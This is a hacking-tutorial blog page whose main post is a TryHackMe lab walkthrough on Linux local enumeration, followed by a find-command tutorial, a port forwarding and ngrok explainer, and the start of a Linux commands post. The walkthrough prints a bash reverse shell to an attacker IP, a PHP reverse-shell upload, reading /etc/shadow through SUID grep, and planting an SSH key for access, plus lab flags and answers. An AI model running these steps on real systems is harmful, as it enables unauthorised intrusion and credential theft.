-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

Showing posts with label kali linux. Show all posts
Showing posts with label kali linux. Show all posts
  • TryHackMe Linux: Local Enumeration

     


     

    Local Enumeration -  Learn to efficiently enumerate a linux machine and identify possible weaknesses


    Have you ever found yourself in a situation where you have no idea about "what to do after getting a reverse shell (access to a machine)"?


    If your answer was "Yes", this room is definitely for you. This rooms aims at providing beginner basis in box enumeration, giving a detailed approach towards it. TryHackMe Linux: Local Enumeration

     

    Here's a list of units that are going to be covered in this room:
     

    • Unit 1 - Stabilizing the shell
    • Exploring a way to transform a reverse shell into a stable bash or ssh shell.
    •  
    • Unit 2 - Basic enumaration
    • Enumerate OS and the most common files to identify possible security flaws.
    •  
    • Unit 3 - /etc
    • Understand the purpose and sensitivity of files under /etc directory.
    •  
    • Unit 4 - Important files
    • Learn to find files, containing potentially valuable information.
    •  
    • Unit 6 - Enumeration scripts
    •  Automate the process by running multiple community-created enumeration scripts.


     

    Browse to the MACHINE_IP:3000 and follow the instructions.
    To continue with the room material, you need to get a reverse shell using a PHP payload and a netcat listener (nc -lvnp 1234).

     
    Start up the machine from TryHackMe and go to the url: Machine_IP:3000.

     

    Download the php payload from here (CLICK HERE) and change the IP and Port number (Your tun0 IP - check your tun0 IP in your terminal - sudo ifconfig) with file name (php-reverse-shell.php to "cmd.php" Method 2 and proceed to go to Machine_IP:3000/cmd.php and upload your reverse shell.


     

    Now, go to this URL http://Machine_IP:3000/cmd.php Then go to your command line and open a netcat listener on the port you set for the php payload.  (reverse shell cheatsheet - CLICK HERE)


    nc -nvlp 1234


    Now upload this bash reverse shell in this box and hit enter : bash -c 'bash -i >& /dev/tcp/10.8.61.234/1234 0>&1'

    Our tun0 IP with Port :- 10.8.61.234/1234




    Task 2 Unit 1 - tty


    As you might have noticed, a netcat reverse shell is pretty useless and can be easily broken by simple mistakes.


    In order to fix this, we need to get a 'normal' shell, aka tty (text terminal).
    Note: Mainly, we want to upgrade to tty because commands like su and sudo require a proper terminal to run.



    One of the simplest methods for that would be to execute /bin/bash. In most cases, it's not that easy to do and it actually requires us to do some additional work.
    Surprisingly enough, we can use python to execute /bin/bash and upgrade to tty:
    python3 -c 'import pty; pty.spawn("/bin/bash")'


    Generally speaking, you want to use an external tool to execute /bin/bash for you. While doing so, it is a good idea to try everything you know, starting from python, finishing with getting a binary on the target system.
     

    List of static binaries you can get on the system: github.com/andrew-d/static-binaries

     

    Try experimenting with the netcat shell you obtained in the previous task and try different versions.
     

     

    Read more about upgrading to TTY: blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys
     

    1) How would you execute /bin/bash with perl?

    HINT :- Research! Maybe GTFOBins will give you an idea

    Ans :- perl -e 'exec "/bin/bash";'



    Task 3 Unit 1 - ssh


    To make things even better, you should always try and get shell access to the box.

    id_rsa file that contains a private key that can be used to connect to a box via ssh. It is usually located in the .ssh folder in the user's home folder. (Full path: /home/user/.ssh/id_rsa)


    Get that file on your system and give it read-only permissions
    (chmod 600 id_rsa) and connect by executing ssh -i id_rsa user@ip).


    In case if the target box does not have a generated id_rsa file (or you simply don't have reading permissions for it), you can still gain stable ssh access. All you need to do is generate your own id_rsa key on your system and include an associated key into authorized_keys file on the target machine. 


    Execute ssh-keygen and you should see id_rsa and id_rsa.pub files appear in your own .ssh folder. Copy the content of the id_rsa.pub file and put it inside the authorized_key file on the target machine (located in .ssh folder). After that, connect to the machine using your id_rsa file.








    1) Where can you usually find the id_rsa file? (User = user)

    Ans :- /home/user/.ssh/id_rsa

     

    2)Is there an id_rsa file on the box? (yay/nay)

    Ans :- nay 




    Task 4 Unit 2 - Basic enumeration


    Once you get on the box, it's crucially important to do the basic enumeration. In some cases, it can save you a lot of time and provide you a shortcut into escalating your privileges to root.

    > First, let's start with the uname command. uname prints information about the system.









    Execute uname -a to print out all information about the system.
    This simple box enumeration allows you to get initial information about the box, such as distro type and version. From this point you can easily look for known exploits and vulnerabilities.

    > Next in our list are auto-generated bash files.
    Bash keeps tracks of our actions by putting plaintext used commands into a history file. (~/.bash_history)

    If you happen to have a reading permission on this file, you can easily enumerate system user's action and retrieve some sensitive infrmation. One of those would be plaintext passwords or privilege escalation methods.

    .bash_profile and .bashrc are files containing shell commands that are run when Bash is invoked. These files can contain some interesting start up setting that can potentially reveal us some infromation. For example a bash alias can be pointed towards an important file or process.


    > Next thing that you want to check is the sudo version.
    Sudo command is one of the most common targets in the privilage escalation. Its version can help you identify known exploits and vulnerabilities. Execute sudo -V to retrieve the version.


    For example, sudo versions < 1.8.28 are vulnerable to CVE-2019-14287, which is a vulnerability that allows to gain root access with 1 simple command.

     

    > Last part of basic enumeration comes down to using our sudo rights.
    Users can be assigned to use sudo via /etc/sudoers file. It's a fully customazible file that can either limit or open access to a wider range of permissions. Run sudo -l   to check if a user on the box is allowed to use sudo with any command on the system.







     

    Most of the commands open us an opportunity to escalate our priviligies via simple tricks described in GTFObins.
    https://gtfobins.github.io/#+sudo


    Note: Output on the picture demonstrates that user may run ALL commands on the system with sudo rights. A given configuration is the easiest way to get root.




     

    1) How would you print machine hardware name only?

    Ans :- uname -m




    2) Where can you find bash history?

    Ans :- ~/.bash_history



    3) What's the flag?

    Ans :- thm{clear_the_history}




    Task 5 Unit 3 - /etc

     
    Etc (etcetera) - unspecified additional items. Generally speaking, /etc folder is a central location for all your configuration files and it can be treated as a metaphorical nerve center of your Linux machine.

    Each of the files located there has its own unique purpose that can be used to retrieve some sensitive information (such as passwords). The first thing you want to check is if you are able to read and write the files in /etc folder. Let's take a look at each file specifically and figure out the way you can use them for your enumeration process.

    > /etc/passwd


    This file stores the most essential information, required during the user login process. (It stores user account information). It's a plain-text file that contains a list of the system's accounts, giving for each account some useful information like user ID, group ID, home directory, shell, and more.

    Read the /etc/passwd file by running cat /etc/passwd and let's take a closer look.









    Each line of this file represents a different account, created in the system. Each field is separated with a colon (:) and carries a separate value.

    goldfish:x:1003:1003:,,,:/home/goldfish:/bin/bash



    1. (goldfish) - Username
    2. (x) - Password. (x character indicates that an encrypted account password is stored in /etc/shadow file and cannot be displayed in the plain text here)
    3. (1003) - User ID (UID): Each non-root user has his own UID (1-99). UID 0 is reserved for root.
    4. (1003) - Group ID (GID): Linux group ID
    5. (,,,) - User ID Info: A field that contains additional info, such as phone number, name, and last name. (,,, in this case means that I did not input any additional info while creating the user)
    6. (/home/goldfish) - Home directory: A path to user's home directory that contains all the files related to them.
    7. (/bin/bash) - Shell or a command: Path of a command or shell that is used by the user. Simple users usually have /bin/bash as their shell, while services run on /usr/sbin/nologin.



    How can this help? Well, if you have at least reading access to this file, you can easily enumerate all existing users, services and other accounts on the system. This can open a lot of vectors for you and lead to the desired root.

    Otherwise, if you have writing access to the /etc/passwd, you can easily get root creating a custom entry with root priveleges.
    (For more info: hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation)
    http://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation



    > /etc/shadow








    The /etc/shadow file stores actual password in an encrypted format (aka hashes) for user’s account with additional properties related to user password. Those encrypted passwords usually have a pretty similar structure, making it easy for us to identify the encoding format and crack the hash to get the password.

    So, as you might have guessed, we can use /etc/shadow to retrieve different user passwords. In most of the situations, it is more than enough to have reading permissions on this file to escalate to root privileges.
     

    cat /etc/shadow


    goldfish:$6$1FiLdnFwTwNWAqYN$WAdBGfhpwSA4y5CHGO0F2eeJpfMJAM

    Wf6MHg7pHGaHKmrkeYdVN7fD.AQ9nptLkN7JYvJyQrfMcfmCHK34S.a/:184

    83:0:99999:7:::

     

    1. (goldfish) - Username
    2. ($6$1FiLdnFwT...) - Password : Encrypted password.
    Basic structure: **$id$salt$hashed**, The $id is the algorithm used On GNU/Linux as follows:
    - $1$ is MD5
    - $2a$ is Blowfish
    - $2y$ is Blowfish
    - $5$ is SHA-256
    - $6$ is SHA-512
    3. (18483) - Last password change: Days since Jan 1, 1970 that password was last changed.
    4. (0) - Minimum: The minimum number of days required between password changes (Zero means that the password can be changed immidiately).
    5. (99999) - Maximum: The maximum number of days the password is valid.
    6. (7) - Warn: The number of days before the user will be warned about changing their password.


     

    What can we get from here? Well, if you have reading permissions for this file, we can crack the encrypted password using one of the cracking methods.

     

    Just like with /etc/passwd, writeable permission can allow us to add a new root user by making a custom entry.



    > /etc/hosts


    /etc/hosts is a simple text file that allows users to assign a hostname to a specific IP address. Generally speaking, a hostname is a name that is assigned to a certain device on a network. It helps to distinguish one device from another. The hostname for a computer on a home network may be anything the user wants, for example, DesktopPC or MyLaptop.

    You can try editing your own /etc/hosts file by adding the MACHINE_IP there like so:



     


    From now on you'll be able to refer to the box as box.thm.

    Why do we need it? In real-world pentesting this file may reveal a local address of devices in the same network. It can help us to enumerate the network further.
     

    1) Can you read /etc/passwd on the box? (yay/nay)

    Ans :- yay




    Task 6 Unit 4 - Find command and interesting files


    Since it's physically impossible to browse the whole filesystem by hand, we'll be using the find command for this purpose.
     



    The most important switches for us in our enumeration process are -type and -name.
     

    The first one allows us to limit the search towards files only -type f and the second one allows us to search for files by extensions using the wildcard (*).





    Basically, what you want to do is to look for interesting log (.log) and configuration files (.conf). In addition to that, the system owner might be keeping backup files (.bak).

    Here's a list of file extensions you'd usually look for: List.
     

     

     


     

     


     


    To find the password I used the command:

    find -type f -name “*.bak” 2>/dev/null     

    OR

    locate .bak
      
       
    To find the flag we can use the same commands only to search for a file called flag.conf as it ask to find a flag and the hint said it could be in a .conf file

    find / -type f -name “flag.conf” 2>/dev/null
       
    OR

    locate flag.conf    

     

     

    1) What's the password you found?

    Ans :-THMSkidyPass


    2) Did you find a flag?

    Ans :- thm{conf_file}




    Task 7 Unit 4 - SUID


    Set User ID (SUID) is a type of permission that allows users to execute a file with the permissions of another user.


    Those files which have SUID permissions run with higher privileges.  Assume we are accessing the target system as a non-root user and we found SUID bit enabled binaries, then those file/program/command can be run with root privileges.

    SUID abuse is a common privilege escalation technique that allows us to gain root access by executing a root-owned binary with SUID enabled.

     

    You can find all SUID file by executing this simple find command:

    find / -perm -u=s -type f 2>/dev/null


    OR


    find / -perm -4000 2>/dev/null

    -u=s searches files that are owned by the root user.
    -type f search for files, not directories


     

    After displaying all SUID files, compare them to a list on GTFObins to see if there's a way to abuse them to get root access.
     

     


     


     

     


    1) Which SUID binary has a way to escalate your privileges on the box?

    Ans :- grep


     

    2) What's the payload you can use to read /etc/shadow with this SUID?

    Ans :-  grep ' ' /etc/shadow





    Task 8 [Bonus] - Port Forwarding


    According to Wikipedia, "Port forwarding is an application of network address translation (NAT) that redirects a communication request from one address and port number combination to another while the packets are traversing a network gateway, such as a router or firewall".

     

    Port forwarding not only allows you to bypass firewalls but also gives you an opportunity to enumerate some local services and processes running on the box.

    The Linux netstat command gives you a bunch of information about your network connections, the ports that are in use, and the processes using them. In order to see all TCP connections, execute netstat -at | less. This will give you a list of running processes that use TCP. From this point, you can easily enumerate running processes and gain some valuable information.

    netstat -tulpn will provide you a much nicer output with the most interesting data.


    https://fumenoid.github.io/posts/port-forwarding



    Read more about port forwarding here: fumenoid.github.io/posts/port-forwarding
    Try using those commands on your system!




    Task 9 Unit 5 - Automating scripts


    Even though I, personally, dislike any automatic enumeration scripts, they are really important to the privilege escalation process as they help you to omit the 'human error' in your enum process.

    > Linpeas

    LinPEAS - Linux local Privilege Escalation Awesome Script (.sh) is a script that searches for possible paths to escalate privileges on Linux/ hosts.

    Linpeas automatically searches for passwords, SUID files and Sudo right abuse to hint you on your way towards root.


     


     

    They are different ways of getting the script on the box, but the most reliable one would be to first download the script on your system and then transfer it on the target.

    wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh

     

    After that, you get a nice output with all the vulnerable parts marked.

    > LinEnum

    The second tool on our list is LinEnum. It performs 'Scripted Local Linux Enumeration & Privilege Escalation Checks' and appears to be a bit easier than linpeas.



    You can get the script by running:


    wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

    Now, as you have two tools on the box, try running both of them and see if either of them shows something interesting!


    Please note: It's always a good idea to run multiple scripts separately and compare their output, as far as each one of them has their own specific scope of 

    exploration. Got it!




    Task 10 Resources and what's next?


    Congratulations! You have successfully gone through Linux local enumeration!
    Now you can understand the main concepts of manual and automatic enumeration which will lead you towards obtaining root!


    We recommend you to continue your education by completing these awesome rooms, covering more in-depth privilege escalation:

    1. https://tryhackme.com/room/sudovulnsbypass
    2. https://tryhackme.com/room/commonlinuxprivesc
    3. https://tryhackme.com/room/linuxprivesc


    After doing so, you can practice your skills by completing these easy challenge machines:

    1. https://tryhackme.com/room/vulnversity
    2. https://tryhackme.com/room/basicpentestingjt
    3. https://tryhackme.com/room/bolt
    4. https://tryhackme.com/room/tartaraus
     

    Bonus :-


    1) Common Linux File Extension :-  https://lauraliparulo.altervista.org/most-common-linux-file-extensions/

    2) Port Forwarding :- https://fumenoid.github.io/posts/port-forwarding

    3) Local File Enumeration Scripts :- https://github.com/Arr0way/linux-local-enumeration-script

    4) For "Clear" Command Fix :- export TERM=xterm




    Disclaimer


    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)



  • Find command in linux to search a file and directories

     


     

    Find command in linux

     

    To be precise, the ‘find’ command is used to search for files in a directory hierarchy, and as the necessary explanation is available there, we will look at the tasks.


    When you know exactly what you’re looking for, you don’t need to search for it; you just have to find it. Find command in linux to search a file and directories


    This tutorial will help you understand how to use the find command effectively in a CTF context. It is written in a way that you won’t have to refer to the man page to complete it, although I recommend the man page for further reading.


    The syntax of the command can be broken down as such:

     find where what 


    Firstly you tell the system to f🤟🏻ind something; secondly you tell it where to look; and finally, you tell it what to look for.

    You don’t need to specify when you’re looking in your working directory. Also, you can use wildcards as well, in specifying both a directory and a name.


    Note: There's no VM to deploy in this room. You only need to enter the commands that would be used to find what the questions ask for. You can also test the commands on your own terminal (if you have access to a Unix or Unix-like system) to check the output of find with different options. However, that's not necessary; this is a walkthrough, and everything you need to solve this room is in the tasks' description.find command in linux to search a string


    On your terminal, execute the command:

    touch file-1 file-2

    This command will create two files, named file-1 and file-2 respectively, in your current working directory.


    Now, execute:

    find file*

    As you can see, the command outputs both of your files.


    This time, execute:

    find *1

    Only file-1 is in the output.



    Be More Specific

     

    Most of the time, you won’t be looking for something in your working directory. The first argument of your find command should be the directory you want to search. The command will search in that directory and in all its subdirectories. So, if you want to search the whole filesystem, your command should begin with find /. find command in amazon linux


    Two very useful flags are the -type and -name flags. With -type, you can use d to only find directories, and f to only find files. The -name flag is used to specify a name or pattern to look for. You can type the whole name, or use wildcards to specify only part(s) of the name. If you use wildcards, you need to enclose your pattern in quotes, otherwise the command won't work as intended. It is useful to know that you can also use the -iname flag; same as -name, but case insensitive.

    These commands are useful when you want to specify only part of the name of what you’re looking for. find command in linux with example
     

     

    🤟🏻

    #1 Find all files whose name ends with “.xml”

    Ans: find / -type f -name “*.xml”

    #2 Find all files in the /home directory (recursive) whose name is “user.txt”

    Ans: find /home -type f -iname user.txt

    #3 Find all directories whose name contains the word “exploits”

    Ans: find / -type d -name “*exploits*”

     

     

    Know exactly what you're looking for


    In some situations, specifying just the name of a file will not be enough. You can also specify the owner, the size, the permissions, and the time the file was last accessed/modified as well.


    The username of the owner of a file is specified with the -user flag.


    The size of a file is specified with the -size flag. When using numerical values, the formats -n, +n, and n can be used, where n is a number. -n matches values lesser than n, +n matches values greater than🤟🏻 n, and n matches values exactly n. To specify a size, you also need a suffix. c is the suffix for bytes, k for KiB’s, and M for MiB’s. So, if you want to specify a size less than 30 bytes, the argument -30c should be used. find command in linux centos 7


    The -perm flag is used to specify permissions, either in octal form (ex. 644) or in symbolic form (ex. u=r). See here for a short reference. If you specify the permission mode as shown above (ex. 644 or u=r), then find will only return files with those permissions exactly. You can use the – or / prefix to make your search more inclusive. Using the – prefix will return files with at least the permissions you specify; this means that the -444 mode will match files that are readable by everyone, even if someone also has write and/or execute permissions. Using the / prefix will return files that match any of the permissions you have set; this means that the /666 mode will match files that are readable and writeable by at least one of the groups (owner, group, or others). find command in linux to find a file


    Lastly, time-related searches will be covered. These are more complex but may prove useful. The flag consists of a word and a prefix. The words are min and time, for minutes and days, respectively. The prefixes are a, m, and c, and are used to specify when a file was last accessed, modified, or had its status changed. As for the numerical values, the same rules of the -size flag apply, except there is no suffix. To put it all together: in order to specify that a file was last accessed more than 30 minutes ago, the option -amin +30 is used. To specify that it was modified less than 7 days ago, the option -mtime -7 is used. (Note: when you want to specify that a file was modified within the last 24 hours, the option -mtime 0 is used.) linux in find command
     

     
    #1 Find all files owned by the user "kittycat"

    Ans: find / -type f -user kittycat


    #2 Find all files that are exactly 150 bytes in size

    Ans: find / -type f -size 150c


    #3 Find all files in the /home directory (recursive) with size less than 2 KiB’s and extension ".txt"


    Ans: find /home -type f -size -2k -name "*.txt"

     

    #4 Find all files that are exactly readable and writeable by the owner, and readable by everyone else (use octal format)


    Ans: find / -type f -perm 644


    #5 Find all files that are only readable by anyone (use octal format)

    Ans: find / -type f -perm /444


    #6 Find all files with write permission for the group "others", regardless of any other permissions, with extension ".sh" (use symbolic format)

    Ans: find / -type f -perm -o=w -name "*.sh"


    #7 Find all files in the /usr/bin directory (recursive) that are owned by root and have at least the SUID permission (use symbolic format)



    Ans: find /usr/bin -type f -user root -perm -u=s

    #8 Find all files that were not accessed in the last 10 days with extension ".png"


    Ans: find / -type f -atime +10 -name "*.png"

    #9 Find all files in the /usr/bin directory (recursive) that have been modified within the last 2 hours

    Ans: find /usr/bin -type f -mmin -120


     

    To conclude this tutorial, there are two more things that you should know of. The first is that you can use the redirection operator > with the find command. You can save the results of the search to a file, and more importantly, you can suppress the output of any possible errors to make the output more readable. This is done by appending 2> /dev/null to your command. This way, you won’t see any results you’re not allowed to access.


    The second thing is the -exec flag. You can use it in your find command to execute a new command, following the -exec flag, like so: -exec whoami \;. The possibilities enabled by this option are beyond the scope of this tutorial, but most notably it can be used for privilege escalation.
     

     

    Disclaimer



    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)

     

  • What is Port Forwarding ? use of ngrok ? Access localhost website from outside network






    What is Port Forwarding |  use of ngrok |  Access localhost website from outside network



    In computer networking, port forwarding or port mapping is an application of network address translation (NAT) that redirects a communication request from one address and port number combination to another while the packets are traversing a network gateway, such as a router or firewall. This technique is most commonly used to make services on a host residing on a protected or masqueraded (internal) network available to hosts on the opposite side of the gateway (external network), by remapping the destination IP address and port number of the communication to an internal host.



    Port forwarding allows remote computers (for example, computers on the Internet) to connect to a specific computer or service within a private local-area network (LAN).[3]


    In a typical residential network, nodes obtain Internet access through a DSL or cable modem connected to a router or network address translator (NAT/NAPT). Hosts on the private network are connected to an Ethernet switch or communicate via a wireless LAN. The NAT device's external interface is configured with a public IP address. The computers behind the router, on the other hand, are invisible to hosts on the Internet as they each communicate only with a private IP address. What is Port Forwarding ? use of ngrok ? Access localhost website from outside network


    When configuring port forwarding, the network administrator sets aside one port number on the gateway for the exclusive use of communicating with a service in the private network, located on a specific host. External hosts must know this port number and the address of the gateway to communicate with the network-internal service. Often, the port numbers of well-known Internet services, such as port number 80 for web services (HTTP), are used in port forwarding, so that common Internet services may be implemented on hosts within private networks.





    Typical applications include the following:

    •     Running a public HTTP server within a private LAN
    •     Permitting Secure Shell access to a host on the private LAN from the         Internet
    •     Permitting FTP access to a host on a private LAN from the Internet
    •     Running a publicly available game server within a private LAN



    Administrators configure port forwarding in the gateway's operating system. In Linux kernels, this is achieved by packet filter rules in the iptables or netfilter kernel components. BSD and macOS operating systems prior to Yosemite (OS 10.10.X) implement it in the Ipfirewall (ipfw) module while macOS operating systems beginning with Yosemite implement it in the Packet Filter (pf) module.





    When used on gateway devices, a port forward may be implemented with a single rule to translate the destination address and port. (On Linux kernels, this is DNAT rule). The source address and port are, in this case, left unchanged. When used on machines that are not the default gateway of the network, the source address must be changed to be the address of the translating machine, or packets will bypass the translator and the connection will fail.



    When a port forward is implemented by a proxy process (such as on application layer firewalls, SOCKS based firewalls, or via TCP circuit proxies), then no packets are actually translated, only data is proxied. This usually results in the source address (and port number) being changed to that of the proxy machine.



    Usually only one of the private hosts can use a specific forwarded port at one time, but configuration is sometimes possible to differentiate access by the originating host's source address.



    Unix-like operating systems sometimes use port forwarding where port numbers smaller than 1024 can only be created by software running as the root user. Running with superuser privileges (in order to bind the port) may be a security risk to the host, therefore port forwarding is used to redirect a low-numbered port to another high-numbered port, so that application software may execute as a common operating system user with reduced privileges.


    The Universal Plug and Play protocol (UPnP) provides a feature to automatically install instances of port forwarding in residential Internet gateways. UPnP defines the Internet Gateway Device Protocol (IGD) which is a network service by which an Internet gateway advertises its presence on a private network via the Simple Service Discovery Protocol (SSDP). An application that provides an Internet-based service may discover such gateways and use the UPnP IGD protocol to reserve a port number on the gateway and cause the gateway to forward packets to its listening socket.


    Types of port forwarding



    Port forwarding can be divided into the following specific types: local, remote, and dynamic port forwarding.


    Local port forwarding



    Local port forwarding is the most common type of port forwarding. It is used to let a user connect from the local computer to another server, i.e. forward data securely from another client application running on the same computer as a Secure Shell (SSH) client. By using local port forwarding, firewalls that block certain web pages are able to be bypassed.



    Remote port forwarding



    This form of port forwarding enables applications on the server side of a Secure Shell (SSH) connection to access services residing on the SSH's client side.[8] In addition to SSH, there are proprietary tunnelling schemes that utilize remote port forwarding for the same general purpose.[9] In other words, remote port forwarding lets users connect from the server side of a tunnel, SSH or another, to a remote network service located at the tunnel's client side.


    To use remote port forwarding, the address of the destination server (on the tunnel's client side) and two port numbers must be known. The port numbers chosen depend on which application is to be used.


    Remote port forwarding allows other computers to access applications hosted on remote servers. Two examples:


    An employee of a company hosts an FTP server at their own home and wants to give access to the FTP service to employees using computers in the workplace. In order to do this, an employee can set up remote port forwarding through SSH on the company's internal computers by including their FTP server’s address and using the correct port numbers for FTP (standard FTP port is TCP/21).


    Opening remote desktop sessions is a common use of remote port forwarding. Through SSH, this can be accomplished by opening the virtual network computing port (5900) and including the destination computer’s address.
       



    Dynamic port forwarding



    Dynamic port forwarding (DPF) is an on-demand method of traversing a firewall or NAT through the use of firewall pinholes. The goal is to enable clients to connect securely to a trusted server that acts as an intermediary for the purpose of sending/receiving data to one or many destination servers.[11]


    DPF can be implemented by setting up a local application, such as SSH, as a SOCKS proxy server, which can be used to process data transmissions through the network or over the Internet. Programs, such as web browsers, must be configured individually to direct traffic through the proxy, which acts as a secure tunnel to another server. Once the proxy is no longer needed, the programs must be reconfigured to their original settings. Because of the manual requirements of DPF, it is not often used.



    Once the connection is established, DPF can be used to provide additional security for a user connected to an untrusted network. Since data must pass through the secure tunnel to another server before being forwarded to its original destination, the user is protected from packet sniffing that may occur on the LAN.



    DPF is a powerful tool with many uses; for example, a user connected to the Internet through a coffee shop, hotel, or otherwise minimally secure network may wish to use DPF as a way of protecting data. DPF can also be used to bypass firewalls that restrict access to outside websites, such as in corporate networks.




    How to use Ngrok for Access outside Network ?



    1) first we need a localhost server such as hosting provider or need a web address to access the outside network ( For eg Ngrok )


    ngrok.com













    Spend more time programming. One command for an instant, secure URL to your localhost server through any NAT or firewall.




    2) Signup or login to ngrok and go to with download option for downloading a ngrok server ( application )


    https://ngrok.com/download




    3) First, download the ngrok client, a single binary with zero run-time dependencies. you can downloa for MAC OS X, Windows, Mac (32bit), Windows (32-bit), Linux (ARM), Linux (ARM64), Linux (32-bit), FreeBSD (64-Bit), FreeBSD (32-bit)...  


    4)  On Linux or OSX you can unzip ngrok from a terminal with the following command. On Windows, just double click ngrok.zip.


      $ unzip /path/to/ngrok.zip 


    Most people like to keep ngrok in their primary user folder or set an alias for easy command-line access.







    5)  Try it out by running it from the command line:


      ./ngrok help 




    6) To start a HTTP tunnel on port 80, run this next:


      ./ngrok http 80  











    OR


      ngrok http -subdomain=baz 8080 


    OR



      ngrok http foo.dev:80   




    OR


      ngrok http https://localhost 


    OR


      ngrok tcp 22 



    How To Access website from Outside Network ?


    Type the following command and press enter :-


    1)   serivce apache2 start 


    otherwise i have already download and install external apache server ( XAMPP Server )









    For chech a service status , it's a start or not  


      service apache2 start 



    then we have ready to access our localhost website via inside and outside network  ( internet )



    Now, we have to copy a ngrok's link


    https://ab5ac26e3592.ngrok.io








    Then access






    Through Mobile








     ----------------





    Disclaimer

     

    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    Video Tutorial :- 


                
        


    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)



  • top 5 linux command for beginners


    top 5 linux command for beginners




    As data sets are getting larger and more prevalent, researchers are having to try to to tons of leg add reference to core programming - resulting in longer spent with tools like GIT and Kali Linux (something we have seen Hardly done before!).

    For software engineers reading this post: you would possibly not find the subsequent useful, but as someone who has been through those early self-taught days as a junior researcher, i might like to see data scientists or ML researchers Feeling of budding pain!

    Looking at all of that, i assumed about what commands i exploit daily and in my routine and which commands I wanted to understand beforehand. So from this, i'm now presenting my top 5 Kali Linux commands which have helped me reach the highest of my career! top 5 linux command for beginners


    Command 1: grep


    grep sounds like the noise frogs make, but actually it stands for Global regular expression print. That long phrase doesn’t make much sense outright, but the essential use case for the grep command is to search for a particular string in a given file.



    The function is fairly quick and incredibly helpful when you’re trying to diagnose an issue on your production box, in which for example, you may think a TXT file has some bad data.



    As an example, say we’re searching for the string 'this’ in any file which begins with the name 'demo_’:


    $ grep "this" demo_*
    demo_file:this line is the 1st lower case line in this file.
    demo_file:Two lines above this line is empty.
    demo_file:And this is the last line.
    demo_file1:this line is the 1st lower case line in this file.
    demo_file1:Two lines above this line is empty.
    demo_file1:And this is the last line.


    Not so bad huh? We can see on the left hand side that there are two files that begin with demo (demo_file and demo_file1)





    Command 2: wget


    Now we move onto something a little bit more sophisticated but still something we use quite a lot. The wget command is a useful utility used to download files from the internet. It runs in the background so can be used in scripts and cron jobs.

    To utility is called as follows:


    wget <URL> -O <file_name>

    Where the following is an example if we wanted to download a file:

